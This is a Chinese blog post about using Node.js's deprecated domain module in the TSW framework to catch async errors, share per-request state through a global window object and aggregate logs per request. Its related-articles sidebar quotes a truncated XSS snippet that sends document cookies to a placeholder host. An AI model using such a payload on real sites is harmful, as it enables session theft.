剑走偏锋!domain模块居然还能这样用!

前言

虽然domain模块目前处于弃用(Deprecated)状态。但经过我们多年来对domain模块的使用,并没有什么问题。同时node8.0之后,出现了async_hook模块,domain模块已经完全使用async_hook模块重写了,因此再也不用担心domain模块被移除后无法使用。

简单介绍domain模块

一个domain对象,可以将多个异步操作归为一组。当这些操作抛出Error事件时,domain对象可以捕捉到这些Error事件,并且不丢失上下文。

举个例子!

一般我们会用try-catch来捕捉异常,但如果在try里头有异步操作并且异步操作里抛出异常,那么这时候catch里面并不能捕捉到这个异常,比如:

这种情况在一个HTTP Server中比较常见。比如用户请求一个数据,node端接收到请求发起一个异步操作读取数据库。如果异步操作里面代码写得不够完善,抛出了异常,这时候因为无法捕捉到这个异常,所以没法拿到上下文(这里指用户的request与response)及时给用户返回错误信息。这样体验是不能接受的。

那么怎么解决这个问题呢? 可以引入domain模块。

就像图片代码所示,每一个HTTP请求来的时候创建一个domain对象。后续的操作全部在domain对象中执行,这样即使有异步操作出现异常,也能捕捉到这个异常并且不丢失上下文。

彩蛋!利用domain模块实现HTTP请求生命周期的全局变量

有仔细阅读过domain模块文档的同学可能会发现:

process.domain 这个全局变量会自动指向当前作用中的domain对象。

利用这一个特性,我们可以把一个HTTP请求生命周期内需要共享的变量挂载到domain对象上。这样在同一个请求里面的所有操作都可以通过domain对象获取到共享的变量,而再不需要通过函数参数的方式透传。

如代码所示,handle函数不需要通过外部传入res对象,也能获取到当前请求的res对象。这在代码结构非常复杂的时候非常实用!

window对象的诞生

就像浏览器环境有一个全局的window对象,TSW框架根据domain模块的特性也创建一个全局的window对象。

这里很关键的一点是利用了Object.defineProperty来创建window对象。这样window的值永远返回的是当前domain对象上的window对象。通过这种方式,在TSW框架内的编写的代码可以直接使用window变量获取到request和response对象,非常方便。

全息日志

有了一个HTTP请求声明周期的全局变量,我们实现按HTTP请求这一维度聚合日志就变得可能并且是一件很简单的事。这里直接上一张日志图:

(部分信息因安全问题做了隐藏处理)

全息日志功能支持通过用户uid快速查询用户的日志。当前这一功能也集成到tsw开放平台(tswjs.org)中,欢迎大家试用。

关于domain模块被弃用的一些思考

按nodejs的文档所说,使用domain模块之后,大家很容易就会忽略异常了。但是出现异常如果不作处理是很容易有内存泄露,这样就导致nodejs服务的不稳定。不过根据我们的实际使用, 只要每次请求结束后(包括出现异常)及时清除掉domain的引用。内存泄露的问题是不存在的。

另外根据官方文档所说,现在也没有其他方案可以完全代替domain模块,因此也不会贸然废弃domain模块。同时我们发现,从node8.0版本之后,node出现了async_hook模块,并且将domain模块用async_hook模块重写了。这意味着,以后即使官方将domain模块废弃了,第三方也可以使用async_hook模块实现一个domain模块继续使用。

所以不用担心domain会被废除,大胆的使用domain模块吧!

原文发布于微信公众号 - tswjs(tsw_service)

原文发表时间:2018-05-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏马洪彪

spss C# 二次开发 学习笔记(六)——Spss统计结果的输出

Spss的二次开发可以很简单,实例化一个对象,然后启用服务,接着提交命令,最后停止服务。 其中重点为提交命令,针对各种统计功能需求,以及被统计分析的数据内容等,...

3305
来自专栏FreeBuf

xss如何加载远程js的一些tips

在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+documen...

2299
来自专栏码洞

求不更学不动之Redis5.0新特性Stream尝鲜

Redis5.0最近被作者突然放出来了,增加了很多新的特色功能。而Redis5.0最大的新特性就是多出了一个数据结构Stream,它是一个新的强大的支持多播的可...

1252
来自专栏北京马哥教育

【翻译】Python async/await Tutorial

原文链接: http://stackabuse.com/python-async-await-tutorial/ 过去几年,异步编程方式被越来越多的程序员使用,...

2955
来自专栏玩转JavaEE

ElementUI中tree控件踩坑记

vhr部门管理模块更新啦!为了让小伙伴们快速理解部门管理模块实现思路,我想通过3篇短文来给大家介绍下大致的实现思路和核心代码。 项目地址:https://git...

4336
来自专栏飞雪无情的博客

Go语言实战笔记(一)| Go包管理

这本是In Action系列的书籍,这个系列做研发的都知道,在研发届评价很多,很多新的技术、语言等都会有一本实战的书籍。既然是实战,那么这本书假设了他的读者有了...

953
来自专栏CRPER折腾记

Vue折腾记 - (2)写一个不大靠谱的面包屑组件

我把页面标题和面包屑封装到一起..就不用涉及到组件的通讯了, 不然又要去监听路由或者依赖状态去获取

972
来自专栏FreeBuf

别用Chrome浏览这篇文章,会崩溃!

早前就有8个字符让Skype崩溃的例子,今天我们提到的是16个字符让Chrome崩溃,你只需要点击这16个字符,甚至鼠标只是在这16个字节组成的链接周围移动都可...

1856
来自专栏ytkah

dedecms自增标签[field:global.autoindex/]的运用

  用bootstrap建站时用到幻灯片切换模块,里面有个active(下面代码中的data-slide-to="0"),其余的按顺序递增(1,2),如果用de...

2714
来自专栏北京马哥教育

Python自动化运维之高级函数

一、协程 1.1协程的概念 协程,又称微线程,纤程。英文名Coroutine。一句话说明什么是线程:协程是一种用户态的轻量级线程。(其实并没有说明白~) 那么这...

2746

扫码关注云+社区